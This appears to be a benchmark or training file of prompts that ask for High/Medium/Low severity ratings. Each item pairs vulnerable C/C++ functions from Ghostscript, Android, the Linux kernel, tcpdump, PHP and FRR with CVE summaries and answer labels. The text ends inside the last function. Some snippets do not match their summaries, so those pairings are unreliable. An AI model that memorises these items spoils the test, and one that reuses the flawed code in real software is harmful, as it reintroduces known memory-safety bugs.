Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: jbig2_end_of_stripe(Jbig2Ctx *ctx, Jbig2Segment *segment, const uint8_t *segment_data)
{
Jbig2Page page = ctx->pages[ctx->current_page];
int end_row;
end_row = jbig2_get_int32(segment_data);
if (end_row < page.end_row) {
jbig2_error(ctx, JBIG2_SEVERITY_WARNING, segment->number,
"end of stripe segment with non-positive end row advance" " (new end row %d vs current end row %d)", end_row, page.end_row);
} else {
jbig2_error(ctx, JBIG2_SEVERITY_INFO, segment->number, "end of stripe: advancing end row to %d", end_row);
}
page.end_row = end_row;
return 0;
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: ghostscript before version 9.21 is vulnerable to a heap based buffer overflow that was found in the ghostscript jbig2_decode_gray_scale_image function which is used to decode halftone segments in a JBIG2 image. A document (PostScript or PDF) with an embedded, specially crafted, jbig2 image could trigger a segmentation fault in ghostscript.
Commit Message: | Medium | 165,495 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: jbig2_sd_count_referred(Jbig2Ctx *ctx, Jbig2Segment *segment)
{
int index;
Jbig2Segment *rsegment;
int n_dicts = 0;
for (index = 0; index < segment->referred_to_segment_count; index++) {
rsegment = jbig2_find_segment(ctx, segment->referred_to_segments[index]);
if (rsegment && ((rsegment->flags & 63) == 0) &&
rsegment->result && (((Jbig2SymbolDict *) rsegment->result)->n_symbols > 0) && ((*((Jbig2SymbolDict *) rsegment->result)->glyphs) != NULL))
n_dicts++;
}
return (n_dicts);
}
Vulnerability Type: Overflow
CWE ID: CWE-119
Summary: ghostscript before version 9.21 is vulnerable to a heap based buffer overflow that was found in the ghostscript jbig2_decode_gray_scale_image function which is used to decode halftone segments in a JBIG2 image. A document (PostScript or PDF) with an embedded, specially crafted, jbig2 image could trigger a segmentation fault in ghostscript.
Commit Message: | Medium | 165,500 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: OMX_ERRORTYPE SoftVPXEncoder::setConfig(
OMX_INDEXTYPE index, const OMX_PTR _params) {
switch (index) {
case OMX_IndexConfigVideoIntraVOPRefresh:
{
OMX_CONFIG_INTRAREFRESHVOPTYPE *params =
(OMX_CONFIG_INTRAREFRESHVOPTYPE *)_params;
if (params->nPortIndex != kOutputPortIndex) {
return OMX_ErrorBadPortIndex;
}
mKeyFrameRequested = params->IntraRefreshVOP;
return OMX_ErrorNone;
}
case OMX_IndexConfigVideoBitrate:
{
OMX_VIDEO_CONFIG_BITRATETYPE *params =
(OMX_VIDEO_CONFIG_BITRATETYPE *)_params;
if (params->nPortIndex != kOutputPortIndex) {
return OMX_ErrorBadPortIndex;
}
if (mBitrate != params->nEncodeBitrate) {
mBitrate = params->nEncodeBitrate;
mBitrateUpdated = true;
}
return OMX_ErrorNone;
}
default:
return SimpleSoftOMXComponent::setConfig(index, _params);
}
}
Vulnerability Type: Overflow +Priv
CWE ID: CWE-119
Summary: mediaserver in Android 4.x before 4.4.4, 5.0.x before 5.0.2, 5.1.x before 5.1.1, and 6.x before 2016-06-01 does not validate OMX buffer sizes, which allows attackers to gain privileges via a crafted application, as demonstrated by obtaining Signature or SignatureOrSystem access, aka internal bug 27207275.
Commit Message: DO NOT MERGE Verify OMX buffer sizes prior to access
Bug: 27207275
Change-Id: I4412825d1ee233d993af0a67708bea54304ff62d
| High | 174,215 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int asymmetric_key_match(const struct key *key,
const struct key_match_data *match_data)
{
const struct asymmetric_key_subtype *subtype = asymmetric_key_subtype(key);
const char *description = match_data->raw_data;
const char *spec = description;
const char *id;
ptrdiff_t speclen;
if (!subtype || !spec || !*spec)
return 0;
/* See if the full key description matches as is */
if (key->description && strcmp(key->description, description) == 0)
return 1;
/* All tests from here on break the criterion description into a
* specifier, a colon and then an identifier.
*/
id = strchr(spec, ':');
if (!id)
return 0;
speclen = id - spec;
id++;
if (speclen == 2 && memcmp(spec, "id", 2) == 0)
return asymmetric_keyid_match(asymmetric_key_id(key), id);
if (speclen == subtype->name_len &&
memcmp(spec, subtype->name, speclen) == 0)
return 1;
return 0;
}
Vulnerability Type: DoS +Priv
CWE ID: CWE-476
Summary: The KEYS subsystem in the Linux kernel before 3.18 allows local users to gain privileges or cause a denial of service (NULL pointer dereference and system crash) via vectors involving a NULL value for a certain match field, related to the keyring_search_iterator function in keyring.c.
Commit Message: KEYS: Remove key_type::match in favour of overriding default by match_preparse
A previous patch added a ->match_preparse() method to the key type. This is
allowed to override the function called by the iteration algorithm.
Therefore, we can just set a default that simply checks for an exact match of
the key description with the original criterion data and allow match_preparse
to override it as needed.
The key_type::match op is then redundant and can be removed, as can the
user_match() function.
Signed-off-by: David Howells <[email protected]>
Acked-by: Vivek Goyal <[email protected]> | High | 168,436 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: KeyboardLibrary* CrosLibrary::GetKeyboardLibrary() {
return keyboard_lib_.GetDefaultImpl(use_stub_impl_);
}
Vulnerability Type: Exec Code
CWE ID: CWE-189
Summary: The Program::getActiveUniformMaxLength function in libGLESv2/Program.cpp in libGLESv2.dll in the WebGLES library in Almost Native Graphics Layer Engine (ANGLE), as used in Mozilla Firefox 4.x before 4.0.1 on Windows and in the GPU process in Google Chrome before 10.0.648.205 on Windows, allows remote attackers to execute arbitrary code via unspecified vectors, related to an *off-by-three* error.
Commit Message: chromeos: Replace copy-and-pasted code with macros.
This replaces a bunch of duplicated-per-library cros
function definitions and comments.
BUG=none
TEST=built it
Review URL: http://codereview.chromium.org/6086007
git-svn-id: svn://svn.chromium.org/chrome/trunk/src@70070 0039d316-1c4b-4281-b951-d872f2087c98 | High | 170,624 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: ExprAppendMultiKeysymList(ExprDef *expr, ExprDef *append)
{
unsigned nSyms = darray_size(expr->keysym_list.syms);
unsigned numEntries = darray_size(append->keysym_list.syms);
darray_append(expr->keysym_list.symsMapIndex, nSyms);
darray_append(expr->keysym_list.symsNumEntries, numEntries);
darray_concat(expr->keysym_list.syms, append->keysym_list.syms);
FreeStmt((ParseCommon *) &append);
return expr;
}
Vulnerability Type:
CWE ID: CWE-416
Summary: An invalid free in ExprAppendMultiKeysymList in xkbcomp/ast-build.c in xkbcommon before 0.8.1 could be used by local attackers to crash xkbcommon keymap parsers or possibly have unspecified other impact by supplying a crafted keymap file.
Commit Message: xkbcomp: fix pointer value for FreeStmt
Signed-off-by: Peter Hutterer <[email protected]> | Medium | 169,093 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int php_stream_temp_cast(php_stream *stream, int castas, void **ret TSRMLS_DC)
{
php_stream_temp_data *ts = (php_stream_temp_data*)stream->abstract;
php_stream *file;
size_t memsize;
char *membuf;
off_t pos;
assert(ts != NULL);
if (!ts->innerstream) {
return FAILURE;
}
if (php_stream_is(ts->innerstream, PHP_STREAM_IS_STDIO)) {
return php_stream_cast(ts->innerstream, castas, ret, 0);
}
/* we are still using a memory based backing. If they are if we can be
* a FILE*, say yes because we can perform the conversion.
* If they actually want to perform the conversion, we need to switch
* the memory stream to a tmpfile stream */
if (ret == NULL && castas == PHP_STREAM_AS_STDIO) {
return SUCCESS;
}
/* say "no" to other stream forms */
if (ret == NULL) {
return FAILURE;
}
/* perform the conversion and then pass the request on to the innerstream */
membuf = php_stream_memory_get_buffer(ts->innerstream, &memsize);
file = php_stream_fopen_tmpfile();
php_stream_write(file, membuf, memsize);
pos = php_stream_tell(ts->innerstream);
php_stream_free_enclosed(ts->innerstream, PHP_STREAM_FREE_CLOSE);
ts->innerstream = file;
php_stream_encloses(stream, ts->innerstream);
php_stream_seek(ts->innerstream, pos, SEEK_SET);
return php_stream_cast(ts->innerstream, castas, ret, 1);
}
Vulnerability Type:
CWE ID: CWE-20
Summary: In PHP before 5.5.32, 5.6.x before 5.6.18, and 7.x before 7.0.3, all of the return values of stream_get_meta_data can be controlled if the input can be controlled (e.g., during file uploads). For example, a "$uri = stream_get_meta_data(fopen($file, "r"))['uri']" call mishandles the case where $file is data:text/plain;uri=eviluri, -- in other words, metadata can be set by an attacker.
Commit Message: | Medium | 165,478 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: unsigned long long Chapters::Atom::GetUID() const
{
return m_uid;
}
Vulnerability Type: DoS Exec Code Overflow Mem. Corr.
CWE ID: CWE-119
Summary: libvpx in mediaserver in Android 4.x before 4.4.4, 5.x before 5.1.1 LMY49H, and 6.0 before 2016-03-01 allows remote attackers to execute arbitrary code or cause a denial of service (memory corruption) via a crafted media file, related to libwebm/mkvparser.cpp and other files, aka internal bug 23452792.
Commit Message: libwebm: Pull from upstream
Rolling mkvparser from upstream. Primarily for fixing a bug on parsing
failures with certain Opus WebM files.
Upstream commit hash of this pull: 574045edd4ecbeb802ee3f1d214b5510269852ae
The diff is so huge because there were some style clean ups upstream.
But it was ensured that there were no breaking changes when the style
clean ups was done upstream.
Change-Id: Ib6e907175484b4b0ae1b55ab39522ea3188ad039 | High | 174,376 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: static int tt_s2_4600_frontend_attach(struct dvb_usb_adapter *adap)
{
struct dvb_usb_device *d = adap->dev;
struct dw2102_state *state = d->priv;
u8 obuf[3] = { 0xe, 0x80, 0 };
u8 ibuf[] = { 0 };
struct i2c_adapter *i2c_adapter;
struct i2c_client *client;
struct i2c_board_info board_info;
struct m88ds3103_platform_data m88ds3103_pdata = {};
struct ts2020_config ts2020_config = {};
if (dvb_usb_generic_rw(d, obuf, 3, ibuf, 1, 0) < 0)
err("command 0x0e transfer failed.");
obuf[0] = 0xe;
obuf[1] = 0x02;
obuf[2] = 1;
if (dvb_usb_generic_rw(d, obuf, 3, ibuf, 1, 0) < 0)
err("command 0x0e transfer failed.");
msleep(300);
obuf[0] = 0xe;
obuf[1] = 0x83;
obuf[2] = 0;
if (dvb_usb_generic_rw(d, obuf, 3, ibuf, 1, 0) < 0)
err("command 0x0e transfer failed.");
obuf[0] = 0xe;
obuf[1] = 0x83;
obuf[2] = 1;
if (dvb_usb_generic_rw(d, obuf, 3, ibuf, 1, 0) < 0)
err("command 0x0e transfer failed.");
obuf[0] = 0x51;
if (dvb_usb_generic_rw(d, obuf, 1, ibuf, 1, 0) < 0)
err("command 0x51 transfer failed.");
/* attach demod */
m88ds3103_pdata.clk = 27000000;
m88ds3103_pdata.i2c_wr_max = 33;
m88ds3103_pdata.ts_mode = M88DS3103_TS_CI;
m88ds3103_pdata.ts_clk = 16000;
m88ds3103_pdata.ts_clk_pol = 0;
m88ds3103_pdata.spec_inv = 0;
m88ds3103_pdata.agc = 0x99;
m88ds3103_pdata.agc_inv = 0;
m88ds3103_pdata.clk_out = M88DS3103_CLOCK_OUT_ENABLED;
m88ds3103_pdata.envelope_mode = 0;
m88ds3103_pdata.lnb_hv_pol = 1;
m88ds3103_pdata.lnb_en_pol = 0;
memset(&board_info, 0, sizeof(board_info));
strlcpy(board_info.type, "m88ds3103", I2C_NAME_SIZE);
board_info.addr = 0x68;
board_info.platform_data = &m88ds3103_pdata;
request_module("m88ds3103");
client = i2c_new_device(&d->i2c_adap, &board_info);
if (client == NULL || client->dev.driver == NULL)
return -ENODEV;
if (!try_module_get(client->dev.driver->owner)) {
i2c_unregister_device(client);
return -ENODEV;
}
adap->fe_adap[0].fe = m88ds3103_pdata.get_dvb_frontend(client);
i2c_adapter = m88ds3103_pdata.get_i2c_adapter(client);
state->i2c_client_demod = client;
/* attach tuner */
ts2020_config.fe = adap->fe_adap[0].fe;
memset(&board_info, 0, sizeof(board_info));
strlcpy(board_info.type, "ts2022", I2C_NAME_SIZE);
board_info.addr = 0x60;
board_info.platform_data = &ts2020_config;
request_module("ts2020");
client = i2c_new_device(i2c_adapter, &board_info);
if (client == NULL || client->dev.driver == NULL) {
dvb_frontend_detach(adap->fe_adap[0].fe);
return -ENODEV;
}
if (!try_module_get(client->dev.driver->owner)) {
i2c_unregister_device(client);
dvb_frontend_detach(adap->fe_adap[0].fe);
return -ENODEV;
}
/* delegate signal strength measurement to tuner */
adap->fe_adap[0].fe->ops.read_signal_strength =
adap->fe_adap[0].fe->ops.tuner_ops.get_rf_strength;
state->i2c_client_tuner = client;
/* hook fe: need to resync the slave fifo when signal locks */
state->fe_read_status = adap->fe_adap[0].fe->ops.read_status;
adap->fe_adap[0].fe->ops.read_status = tt_s2_4600_read_status;
state->last_lock = 0;
return 0;
}
Vulnerability Type: DoS Overflow Mem. Corr.
CWE ID: CWE-119
Summary: drivers/media/usb/dvb-usb/dw2102.c in the Linux kernel 4.9.x and 4.10.x before 4.10.4 interacts incorrectly with the CONFIG_VMAP_STACK option, which allows local users to cause a denial of service (system crash or memory corruption) or possibly have unspecified other impact by leveraging use of more than one virtual page for a DMA scatterlist.
Commit Message: [media] dw2102: don't do DMA on stack
On Kernel 4.9, WARNINGs about doing DMA on stack are hit at
the dw2102 driver: one in su3000_power_ctrl() and the other in tt_s2_4600_frontend_attach().
Both were due to the use of buffers on the stack as parameters to
dvb_usb_generic_rw() and the resulting attempt to do DMA with them.
The device was non-functional as a result.
So, switch this driver over to use a buffer within the device state
structure, as has been done with other DVB-USB drivers.
Tested with TechnoTrend TT-connect S2-4600.
[[email protected]: fixed a warning at su3000_i2c_transfer() that
state var were dereferenced before check 'd']
Signed-off-by: Jonathan McDowell <[email protected]>
Cc: <[email protected]>
Signed-off-by: Mauro Carvalho Chehab <[email protected]> | High | 168,229 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: rpl_dao_print(netdissect_options *ndo,
const u_char *bp, u_int length)
{
const struct nd_rpl_dao *dao = (const struct nd_rpl_dao *)bp;
const char *dagid_str = "<elided>";
ND_TCHECK(*dao);
if (length < ND_RPL_DAO_MIN_LEN)
goto tooshort;
bp += ND_RPL_DAO_MIN_LEN;
length -= ND_RPL_DAO_MIN_LEN;
if(RPL_DAO_D(dao->rpl_flags)) {
ND_TCHECK2(dao->rpl_dagid, DAGID_LEN);
if (length < DAGID_LEN)
goto tooshort;
dagid_str = ip6addr_string (ndo, dao->rpl_dagid);
bp += DAGID_LEN;
length -= DAGID_LEN;
}
ND_PRINT((ndo, " [dagid:%s,seq:%u,instance:%u%s%s,%02x]",
dagid_str,
dao->rpl_daoseq,
dao->rpl_instanceid,
RPL_DAO_K(dao->rpl_flags) ? ",acK":"",
RPL_DAO_D(dao->rpl_flags) ? ",Dagid":"",
dao->rpl_flags));
if(ndo->ndo_vflag > 1) {
const struct rpl_dio_genoption *opt = (const struct rpl_dio_genoption *)bp;
rpl_dio_printopt(ndo, opt, length);
}
return;
trunc:
ND_PRINT((ndo," [|truncated]"));
return;
tooshort:
ND_PRINT((ndo," [|length too short]"));
return;
}
Vulnerability Type:
CWE ID: CWE-125
Summary: The ICMPv6 parser in tcpdump before 4.9.3 has a buffer over-read in print-icmp6.c.
Commit Message: (for 4.9.3) CVE-2018-14882/ICMP6 RPL: Add a missing bounds check
Moreover:
Add and use *_tstr[] strings.
Update four tests outputs accordingly.
Fix a space.
Wang Junjie of 360 ESG Codesafe Team had independently identified this
vulnerability in 2018 by means of fuzzing and provided the packet capture
file for the test. | High | 169,828 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: int snd_ctl_add(struct snd_card *card, struct snd_kcontrol *kcontrol)
{
struct snd_ctl_elem_id id;
unsigned int idx;
unsigned int count;
int err = -EINVAL;
if (! kcontrol)
return err;
if (snd_BUG_ON(!card || !kcontrol->info))
goto error;
id = kcontrol->id;
down_write(&card->controls_rwsem);
if (snd_ctl_find_id(card, &id)) {
up_write(&card->controls_rwsem);
dev_err(card->dev, "control %i:%i:%i:%s:%i is already present\n",
id.iface,
id.device,
id.subdevice,
id.name,
id.index);
err = -EBUSY;
goto error;
}
if (snd_ctl_find_hole(card, kcontrol->count) < 0) {
up_write(&card->controls_rwsem);
err = -ENOMEM;
goto error;
}
list_add_tail(&kcontrol->list, &card->controls);
card->controls_count += kcontrol->count;
kcontrol->id.numid = card->last_numid + 1;
card->last_numid += kcontrol->count;
count = kcontrol->count;
up_write(&card->controls_rwsem);
for (idx = 0; idx < count; idx++, id.index++, id.numid++)
snd_ctl_notify(card, SNDRV_CTL_EVENT_MASK_ADD, &id);
return 0;
error:
snd_ctl_free_one(kcontrol);
return err;
}
Vulnerability Type: DoS Overflow
CWE ID: CWE-189
Summary: Multiple integer overflows in sound/core/control.c in the ALSA control implementation in the Linux kernel before 3.15.2 allow local users to cause a denial of service by leveraging /dev/snd/controlCX access, related to (1) index values in the snd_ctl_add function and (2) numid values in the snd_ctl_remove_numid_conflict function.
Commit Message: ALSA: control: Make sure that id->index does not overflow
The ALSA control code expects that the range of assigned indices to a control is
continuous and does not overflow. Currently there are no checks to enforce this.
If a control with a overflowing index range is created that control becomes
effectively inaccessible and unremovable since snd_ctl_find_id() will not be
able to find it. This patch adds a check that makes sure that controls with a
overflowing index range can not be created.
Signed-off-by: Lars-Peter Clausen <[email protected]>
Acked-by: Jaroslav Kysela <[email protected]>
Cc: <[email protected]>
Signed-off-by: Takashi Iwai <[email protected]> | Medium | 169,905 |
Analyze the following vulnerable code snippet, vulnerability type with description, the commit message and the CWE ID. Determine the severity score category of this vulnerability. Output 'High' or 'Medium' or 'Low' only. Remember, I want response in 'High' or 'Medium' or 'Low', No explanation. | Code: bgp_size_t bgp_packet_attribute(struct bgp *bgp, struct peer *peer,
struct stream *s, struct attr *attr,
struct bpacket_attr_vec_arr *vecarr,
struct prefix *p, afi_t afi, safi_t safi,
struct peer *from, struct prefix_rd *prd,
mpls_label_t *label, uint32_t num_labels,
int addpath_encode, uint32_t addpath_tx_id)
{
size_t cp;
size_t aspath_sizep;
struct aspath *aspath;
int send_as4_path = 0;
int send_as4_aggregator = 0;
int use32bit = (CHECK_FLAG(peer->cap, PEER_CAP_AS4_RCV)) ? 1 : 0;
if (!bgp)
bgp = peer->bgp;
/* Remember current pointer. */
cp = stream_get_endp(s);
if (p
&& !((afi == AFI_IP && safi == SAFI_UNICAST)
&& !peer_cap_enhe(peer, afi, safi))) {
size_t mpattrlen_pos = 0;
mpattrlen_pos = bgp_packet_mpattr_start(s, peer, afi, safi,
vecarr, attr);
bgp_packet_mpattr_prefix(s, afi, safi, p, prd, label,
num_labels, addpath_encode,
addpath_tx_id, attr);
bgp_packet_mpattr_end(s, mpattrlen_pos);
}
/* Origin attribute. */
stream_putc(s, BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_ORIGIN);
stream_putc(s, 1);
stream_putc(s, attr->origin);
/* AS path attribute. */
/* If remote-peer is EBGP */
if (peer->sort == BGP_PEER_EBGP
&& (!CHECK_FLAG(peer->af_flags[afi][safi],
PEER_FLAG_AS_PATH_UNCHANGED)
|| attr->aspath->segments == NULL)
&& (!CHECK_FLAG(peer->af_flags[afi][safi],
PEER_FLAG_RSERVER_CLIENT))) {
aspath = aspath_dup(attr->aspath);
/* Even though we may not be configured for confederations we
* may have
* RXed an AS_PATH with AS_CONFED_SEQUENCE or AS_CONFED_SET */
aspath = aspath_delete_confed_seq(aspath);
if (CHECK_FLAG(bgp->config, BGP_CONFIG_CONFEDERATION)) {
/* Stuff our path CONFED_ID on the front */
aspath = aspath_add_seq(aspath, bgp->confed_id);
} else {
if (peer->change_local_as) {
/* If replace-as is specified, we only use the
change_local_as when
advertising routes. */
if (!CHECK_FLAG(
peer->flags,
PEER_FLAG_LOCAL_AS_REPLACE_AS)) {
aspath = aspath_add_seq(aspath,
peer->local_as);
}
aspath = aspath_add_seq(aspath,
peer->change_local_as);
} else {
aspath = aspath_add_seq(aspath, peer->local_as);
}
}
} else if (peer->sort == BGP_PEER_CONFED) {
/* A confed member, so we need to do the AS_CONFED_SEQUENCE
* thing */
aspath = aspath_dup(attr->aspath);
aspath = aspath_add_confed_seq(aspath, peer->local_as);
} else
aspath = attr->aspath;
/* If peer is not AS4 capable, then:
* - send the created AS_PATH out as AS4_PATH (optional, transitive),
* but ensure that no AS_CONFED_SEQUENCE and AS_CONFED_SET path
* segment
* types are in it (i.e. exclude them if they are there)
* AND do this only if there is at least one asnum > 65535 in the
* path!
* - send an AS_PATH out, but put 16Bit ASnums in it, not 32bit, and
* change
* all ASnums > 65535 to BGP_AS_TRANS
*/
stream_putc(s, BGP_ATTR_FLAG_TRANS | BGP_ATTR_FLAG_EXTLEN);
stream_putc(s, BGP_ATTR_AS_PATH);
aspath_sizep = stream_get_endp(s);
stream_putw(s, 0);
stream_putw_at(s, aspath_sizep, aspath_put(s, aspath, use32bit));
/* OLD session may need NEW_AS_PATH sent, if there are 4-byte ASNs
* in the path
*/
if (!use32bit && aspath_has_as4(aspath))
send_as4_path =
1; /* we'll do this later, at the correct place */
/* Nexthop attribute. */
if (afi == AFI_IP && safi == SAFI_UNICAST
&& !peer_cap_enhe(peer, afi, safi)) {
if (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_NEXT_HOP)) {
stream_putc(s, BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_NEXT_HOP);
bpacket_attr_vec_arr_set_vec(vecarr, BGP_ATTR_VEC_NH, s,
attr);
stream_putc(s, 4);
stream_put_ipv4(s, attr->nexthop.s_addr);
} else if (peer_cap_enhe(from, afi, safi)) {
/*
* Likely this is the case when an IPv4 prefix was
* received with
* Extended Next-hop capability and now being advertised
* to
* non-ENHE peers.
* Setting the mandatory (ipv4) next-hop attribute here
* to enable
* implicit next-hop self with correct (ipv4 address
* family).
*/
stream_putc(s, BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_NEXT_HOP);
bpacket_attr_vec_arr_set_vec(vecarr, BGP_ATTR_VEC_NH, s,
NULL);
stream_putc(s, 4);
stream_put_ipv4(s, 0);
}
}
/* MED attribute. */
if (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_MULTI_EXIT_DISC)
|| bgp->maxmed_active) {
stream_putc(s, BGP_ATTR_FLAG_OPTIONAL);
stream_putc(s, BGP_ATTR_MULTI_EXIT_DISC);
stream_putc(s, 4);
stream_putl(s, (bgp->maxmed_active ? bgp->maxmed_value
: attr->med));
}
/* Local preference. */
if (peer->sort == BGP_PEER_IBGP || peer->sort == BGP_PEER_CONFED) {
stream_putc(s, BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_LOCAL_PREF);
stream_putc(s, 4);
stream_putl(s, attr->local_pref);
}
/* Atomic aggregate. */
if (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_ATOMIC_AGGREGATE)) {
stream_putc(s, BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_ATOMIC_AGGREGATE);
stream_putc(s, 0);
}
/* Aggregator. */
if (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_AGGREGATOR)) {
/* Common to BGP_ATTR_AGGREGATOR, regardless of ASN size */
stream_putc(s, BGP_ATTR_FLAG_OPTIONAL | BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_AGGREGATOR);
if (use32bit) {
/* AS4 capable peer */
stream_putc(s, 8);
stream_putl(s, attr->aggregator_as);
} else {
/* 2-byte AS peer */
stream_putc(s, 6);
/* Is ASN representable in 2-bytes? Or must AS_TRANS be
* used? */
if (attr->aggregator_as > 65535) {
stream_putw(s, BGP_AS_TRANS);
/* we have to send AS4_AGGREGATOR, too.
* we'll do that later in order to send
* attributes in ascending
* order.
*/
send_as4_aggregator = 1;
} else
stream_putw(s, (uint16_t)attr->aggregator_as);
}
stream_put_ipv4(s, attr->aggregator_addr.s_addr);
}
/* Community attribute. */
if (CHECK_FLAG(peer->af_flags[afi][safi], PEER_FLAG_SEND_COMMUNITY)
&& (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_COMMUNITIES))) {
if (attr->community->size * 4 > 255) {
stream_putc(s,
BGP_ATTR_FLAG_OPTIONAL | BGP_ATTR_FLAG_TRANS
| BGP_ATTR_FLAG_EXTLEN);
stream_putc(s, BGP_ATTR_COMMUNITIES);
stream_putw(s, attr->community->size * 4);
} else {
stream_putc(s,
BGP_ATTR_FLAG_OPTIONAL
| BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_COMMUNITIES);
stream_putc(s, attr->community->size * 4);
}
stream_put(s, attr->community->val, attr->community->size * 4);
}
/*
* Large Community attribute.
*/
if (CHECK_FLAG(peer->af_flags[afi][safi],
PEER_FLAG_SEND_LARGE_COMMUNITY)
&& (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_LARGE_COMMUNITIES))) {
if (lcom_length(attr->lcommunity) > 255) {
stream_putc(s,
BGP_ATTR_FLAG_OPTIONAL | BGP_ATTR_FLAG_TRANS
| BGP_ATTR_FLAG_EXTLEN);
stream_putc(s, BGP_ATTR_LARGE_COMMUNITIES);
stream_putw(s, lcom_length(attr->lcommunity));
} else {
stream_putc(s,
BGP_ATTR_FLAG_OPTIONAL
| BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_LARGE_COMMUNITIES);
stream_putc(s, lcom_length(attr->lcommunity));
}
stream_put(s, attr->lcommunity->val,
lcom_length(attr->lcommunity));
}
/* Route Reflector. */
if (peer->sort == BGP_PEER_IBGP && from
&& from->sort == BGP_PEER_IBGP) {
/* Originator ID. */
stream_putc(s, BGP_ATTR_FLAG_OPTIONAL);
stream_putc(s, BGP_ATTR_ORIGINATOR_ID);
stream_putc(s, 4);
if (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_ORIGINATOR_ID))
stream_put_in_addr(s, &attr->originator_id);
else
stream_put_in_addr(s, &from->remote_id);
/* Cluster list. */
stream_putc(s, BGP_ATTR_FLAG_OPTIONAL);
stream_putc(s, BGP_ATTR_CLUSTER_LIST);
if (attr->cluster) {
stream_putc(s, attr->cluster->length + 4);
/* If this peer configuration's parent BGP has
* cluster_id. */
if (bgp->config & BGP_CONFIG_CLUSTER_ID)
stream_put_in_addr(s, &bgp->cluster_id);
else
stream_put_in_addr(s, &bgp->router_id);
stream_put(s, attr->cluster->list,
attr->cluster->length);
} else {
stream_putc(s, 4);
/* If this peer configuration's parent BGP has
* cluster_id. */
if (bgp->config & BGP_CONFIG_CLUSTER_ID)
stream_put_in_addr(s, &bgp->cluster_id);
else
stream_put_in_addr(s, &bgp->router_id);
}
}
/* Extended Communities attribute. */
if (CHECK_FLAG(peer->af_flags[afi][safi], PEER_FLAG_SEND_EXT_COMMUNITY)
&& (attr->flag & ATTR_FLAG_BIT(BGP_ATTR_EXT_COMMUNITIES))) {
if (peer->sort == BGP_PEER_IBGP
|| peer->sort == BGP_PEER_CONFED) {
if (attr->ecommunity->size * 8 > 255) {
stream_putc(s,
BGP_ATTR_FLAG_OPTIONAL
| BGP_ATTR_FLAG_TRANS
| BGP_ATTR_FLAG_EXTLEN);
stream_putc(s, BGP_ATTR_EXT_COMMUNITIES);
stream_putw(s, attr->ecommunity->size * 8);
} else {
stream_putc(s,
BGP_ATTR_FLAG_OPTIONAL
| BGP_ATTR_FLAG_TRANS);
stream_putc(s, BGP_ATTR_EXT_COMMUNITIES);
stream_putc(s, attr->ecommunity->size * 8);
}
stream_put(s, attr->ecommunity->val,
attr->ecommunity->size * 8);
} else {
uint8_t *pnt;
int tbit;
int ecom_tr_size = 0;
int i;
for (i = 0; i < attr->ecommunity->size; i++) {
pnt = attr->ecommunity->val + (i * 8);
tbit = *pnt;
if (CHECK_FLAG(tbit,
ECOMMUNITY_FLAG_NON_TRANSITIVE))
continue;
ecom_tr_size++;
}
if (ecom_tr_size) {
if (ecom_tr_size * 8 > 255) {
stream_putc(
s,
BGP_ATTR_FLAG_OPTIONAL
| BGP_ATTR_FLAG_TRANS
| BGP_ATTR_FLAG_EXTLEN);
stream_putc(s,
BGP_ATTR_EXT_COMMUNITIES);
stream_putw(s, ecom_tr_size * 8);
} else {
stream_putc(
s,
BGP_ATTR_FLAG_OPTIONAL
| BGP_ATTR_FLAG_TRANS);
stream_putc(s,
BGP_ATTR_EXT_COMMUNITIES);
stream_putc(s, ecom_tr_size * 8);
}
